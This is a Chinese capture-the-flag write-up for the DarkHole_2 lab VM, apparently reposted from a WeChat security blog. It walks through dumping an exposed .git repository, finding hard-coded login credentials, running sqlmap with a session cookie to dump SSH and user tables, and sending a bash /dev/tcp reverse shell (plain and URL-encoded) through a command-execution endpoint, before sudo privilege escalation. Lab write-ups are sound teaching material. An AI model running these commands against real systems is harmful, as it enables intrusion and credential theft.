下载好DarkHole_2后,用VMware打开,开始:
首先探测靶机地址:
arp-scan -l
靶机IP:192.168.11.139
先端口扫描一波吧:nmap -sV -Pn -p- 192.168.11.139
开启了22、80端口
访问80端口
发现右上角有登录界面
因为不知道邮箱,所以弱口令,和万能密码都没有用
接着目录扫描
dirb http://192.168.11.139:80/
发现有三个目录其中2个的响应码是200,访问一下试试
这不知道是个啥东西,但是看这个url发现上一层目录是.git尝试访问一下
果然有东西,挨个看一看
在这个网页下发现网页的搭建者说:为了安全,修改了login.php
这些目录下的东西太多了,其中一部分包括了网站函数方法的调用,但是不会用,但是发现了一个ref目录,想起刚才那个网页的提示ref: refs/heads/master,进去看看
前面的应该是通过哈希编码的东西,暂且认为是密码,但后面有邮箱,可以尝试一下弱口令和万能密码,发现都白扯
研究上图信息,发现第一条后面写的是初始化,第二条是添加了带有默认凭证的login.php文件,第三条是为了更安全,更改了login.php文件
有点迷茫了,还是看一下wp吧
发现原来.git还有脚本,下载下来试试
工具地址
https://github.com/lijiejie/GitHack/
python2 运行
- python GitHack.py http://192.168.11.139/.git/
进入收集到的 目录 tree命令查看
收集到3个目录 11个文件
从git仓库审查代码及数据库文件
- cat config.php
在审查一下其他的.php发现没啥用
git-dumper查看git log记录
- https://github.com/arthaud/git-dumper
脚本递归下载git目录
git log 查看历史提交记录
- cd website
git log
如图 根据记录 时间和内容得知
第一个 记录为第一次初始化
第二个 记录为
I added login.php file with default credentials
我添加了带有默认凭证的 login.php 文件
说明 可能存在 账号密码
git diff 查看两次的差异
发现用户名和密码
if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
登陆一下去
抓包看一下有没有cookie
这个url看起来太熟悉了,直接上sqlmap跑它!!!!!
sqlmap爆信息
- python3 sqlmap.py -u http://192.168.11.139/dashboard.php?id=1 –level 2 --risk 3 --dbs --batch --cookie PHPSESSID=on441den1on4ro9mg471or1f1d
爆出了库名
- python3 sqlmap.py -u http://192.168.11.139/dashboard.php?id=1 –level 2 --risk 3 --batch --cookie PHPSESSID=on441den1on4ro9mg471or1f1d -D darkhole_2 --tables
爆出了表名
接着爆ssh的字段名
- python3 sqlmap.py -u http://192.168.11.139/dashboard.php?id=1 –level 2 --risk 3 --batch --cookie PHPSESSID=on441den1on4ro9mg471or1f1d -D darkhole_2 -T ssh --columns
接着爆users的字段名
- python3 sqlmap.py -u http://192.168.11.139/dashboard.php?id=1 –level 2 --risk 3 --batch --cookie PHPSESSID=on441den1on4ro9mg471or1f1d -D darkhole_2 -T users --columns
知道字段名了,dump它的库!!!!
- python3 sqlmap.py -u http://192.168.11.139/dashboard.php?id=1 –level 2 --risk 3 --batch --cookie PHPSESSID=on441den1on4ro9mg471or1f1d -D darkhole_2 -T ssh -C id,user,pass --dump
- python3 sqlmap.py -u http://192.168.11.139/dashboard.php?id=1 –level 2 --risk 3 --batch --cookie PHPSESSID=on441den1on4ro9mg471or1f1d -D darkhole_2 -T users -C id,password,address,contact_number,email,username --dump
ssh连接
再用ssh连接
- ls -la
cat .bash_history
发现它的9999端口存在命令执行漏洞
命令执行 监听 提权
试一下命令执行
- curl "http://127.0.0.1:9999/?cmd=id"
接着挖掘一下在losy目录下看看有啥东西
看一下user.txt写的啥
DarkHole{‘This_is_the_life_man_better_than_a_cruise’}
黑洞(这是一种比游轮旅行更好地生活)
ssh 登上了,那么起监听进行提权
kali起7777监听
- nc -lvvp 7777
ssh里执行反弹shell的命令
- curl "http://127.0.0.1:9999/?cmd=bash -c 'exec bash -i &>/dev/tcp/192.168.11.132/7777 <&1'"
因为是 curl执行 所以需要url编码在bpurl 编码
- curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%2e%31%33%32%2f%37%37%37%37%20%3c%26%31%27"
成功监听
看一下这个历史里面有啥
发现了他的密码
之后使用sudo提权
提权成功
总结
本次靶机通关思路
(1)nmap 扫出80端口存在.git目录
(2)用两个git信息收集脚本,爬取下git目录的文件。
(3)通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码
(4)进入后台后通过url 处sql注入 注入出 ssh表的账号密码 登录jhead 的 ssh
(5)通过 jhead 的.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功
(6)losy 的 .bash_history 历史命令 发现 sudo -l 和密码 gang
(7)通过sudo 提权
原文始发于微信公众号(小木说安全):靶场复现|DarkHole_2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论